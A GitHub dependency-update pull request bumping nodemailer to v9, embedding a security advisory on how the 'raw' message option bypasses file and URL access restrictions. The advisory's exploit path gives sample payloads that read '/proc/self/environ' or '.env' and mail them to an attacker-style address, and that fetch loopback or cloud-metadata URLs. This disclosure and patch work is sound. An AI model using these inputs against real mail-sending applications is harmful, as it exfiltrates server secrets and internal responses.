Update dependency nodemailer to v9 [SECURITY]#305
Merged
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
8.0.10→9.0.1Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message
GHSA-p6gq-j5cr-w38f
More information
Details
Message-level
rawoption bypassesdisableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the sent messagenodemailerv9.0.0 (HEAD4e58450eb490e5097a74b2b2cce35a8d9e21856e)Summary
Nodemailer exposes
disableFileAccessanddisableUrlAccessso an application that passesuntrusted message data to the library can forbid that data from reading local files or
fetching URLs. Every attachment, alternative,
html/text/watchHtml/ampandicalEventcontent node honors these flags. The message-level
rawoption does not.MailComposer.compile()builds the root MIME node for arawmessage without threading thetwo flags, so a
raw: { path: '/etc/passwd' }orraw: { href: 'http://169.254.169.254/…' }message is read / fetched anyway, and the file or HTTP-response bytes become the actual
message that is sent by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose
input the application intended to sandbox therefore obtains arbitrary local-file disclosure and
a full-response SSRF primitive, delivered to a recipient the same actor can choose.
This is the same vulnerability class as the already-published jsonTransport advisory
GHSA-wqvq-jvpq-h66f, but a distinct code path (
rawroot node, notnormalize()), andstrictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas
this affects the delivered RFC822 message for all transports.
Affected component
lib/mail-composer/index.js:34-35— root cause:MimeNodeis constructed with only{ newline }. Compare the sibling node builders_createMixed/_createAlternative/_createRelated/_createContentNode(
lib/mail-composer/index.js:389-527), which all passdisableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess.lib/mime-node/index.js:51-52— the constructor derivesthis.disableFileAccess/this.disableUrlAccesssolely from its ownoptions; children do not inherit a parent'sflags (
createChild/appendChild, lines 175-194, pass options through verbatim).lib/mime-node/index.js:812—setRaw()content is resolved throughthis._getStream(this._raw).lib/mime-node/index.js:984-1010—_getStreamreads the file (fs.createReadStream, 995) orfetches the URL (
nmfetch, 1009) only guarded bythis.disableFileAccess/this.disableUrlAccess,which on the
rawroot node arefalse.lib/mailer/index.js:188(
mail.message = new MailComposer(mail.data).compile()), so every transport is affected.Reachability gate (hop-by-hop)
transporter.sendMail({ raw: <userControlled> , to: <userControlled> })with
disableFileAccess: trueand/ordisableUrlAccess: trueconfigured on the transporter(forced onto
mail.datainlib/mailer/mail-message.js:36-40) or per message. This is theexact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was
accepted.
_createContentNodecarriesdisableFileAccess, so_getStreamthrowsEFILEACCESS.Bypass: the
rawbranch (compile():34-35) never sets the flag on its node, sothis.disableFileAccess === falseand the guard atmime-node:985/:999is skipped.There is no other validation between
mail.rawand the read;rawcontent shapes(
{path},{href}, stream, string, buffer) are accepted as-is bysetRaw/_getStream.fs.createReadStream(content.path)(file disclosure) ornmfetch(content.href, …)(SSRF). The resulting bytes are emitted as the message body bycreateReadStream(), which every transport pipes to its destination(
smtp-transport:233,smtp-pool/pool-resource:208,ses-transport:96,sendmail-transport:184,stream-transport:67).No guard blocks the chain; the only guard (the access flags) is structurally absent on this node.
Root cause
Inconsistent enforcement: the access policy is applied per-
MimeNodevia constructor options andmust be re-passed at every node creation. The
raw-message shortcut incompile()omits it,while all five other node builders include it. The flags are therefore enforced for every content
type except the one that lets the caller supply a complete message body by path/URL.
Exploit path
Application that sandboxes untrusted mail input (
disableFileAccess/disableUrlAccessset):raw: { path: '/proc/self/environ' }(or any server file:/app/.env, key material, etc.) andto: attacker@evil.test.compile()builds the raw root node without the flags; the transport reads the file and sendsits contents as the message → arbitrary server-file exfiltration to an attacker-chosen mailbox.
raw: { href: 'http://127.0.0.1:8080/admin' }or a cloud metadata URL →Nodemailer fetches it server-side and delivers the full response body in the email →
full-response SSRF (no blind-channel limitation).
Impact
full-response SSRF to internal/metadata endpoints, also disclosed in the message.
ineffective for
raw.Preconditions
The application (a) passes
disableFileAccessand/ordisableUrlAccess(the documented sandboxingflags) and (b) lets untrusted input influence the
rawfield (and, for maximal disclosure,to).No other configuration is required; all bundled transports are affected. This mirrors the accepted
precondition of GHSA-wqvq-jvpq-h66f.
Severity
rawobject; deterministic.flags are set); not fully anonymous in the typical deployment.
recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned
JSON; here the bytes leave the system in the sent message, so C:H is warranted.)
Note: if a deployment fixes the recipient (
tonot attacker-controlled) the disclosure channelnarrows and the rating degrades toward the sibling's Medium; the High rating reflects the
reasonable worst case where
rawandtoare both untrusted.Adversarial re-read (attempts to refute)
rawcontent is by-design trusted, so the flags shouldn't apply." Rejected: every othercontent path (attachments, alternatives, html/text, icalEvent) honors the flags, and the
maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set"
model. The asymmetry — attachment
{path}is blocked butraw:{path}is not — is the bug, andthe PoC's CONTROL case proves the flag is otherwise effective on the same file.
compile():35constructs the node with
{ newline }only;MimeNodeconstructor setsthis.disableFileAccess = !!options.disableFileAccess→false;rootNodeis itself; noinheritance exists.
attachments:[{path}],same file, same transporter) returns
EFILEACCESS; only theraw:{path}message leaks. Thesentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only
obtainable by an actual fetch. Both observables are uniquely bound to the bypass.
streamTransportand the root cause is inMailComposer.compile()(mailer:188), shared by alltransports; jsonTransport is a different (already-fixed) path.
I could not find any guard that blocks the chain; the finding survives.
Proof of concept (safe, benign)
findings/nodemailer/raw/poc-raw-fileaccess-bypass.js— local, no network egress (loopback only),no destructive action. Output:
Run:
node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js(exit 0 = confirmed).Remediation
Thread the access policy onto the
rawroot node, exactly as the other builders do:(Defense in depth:
setRaw/_getStreamcould also refuse{path}/{href}raw content when eitherflag is set, regardless of how the node was constructed.) Add a regression test asserting that
raw:{path}andraw:{href}reject withEFILEACCESS/EURLACCESSwhen the flags are set, mirroringthe attachment tests.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
nodemailer/nodemailer (nodemailer)
v9.0.1Compare Source
Bug Fixes
v9.0.0Compare Source
⚠ BREAKING CHANGES
tlsoption).Bug Fixes
v8.0.11Compare Source
Bug Fixes
Configuration
📅 Schedule: (UTC)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.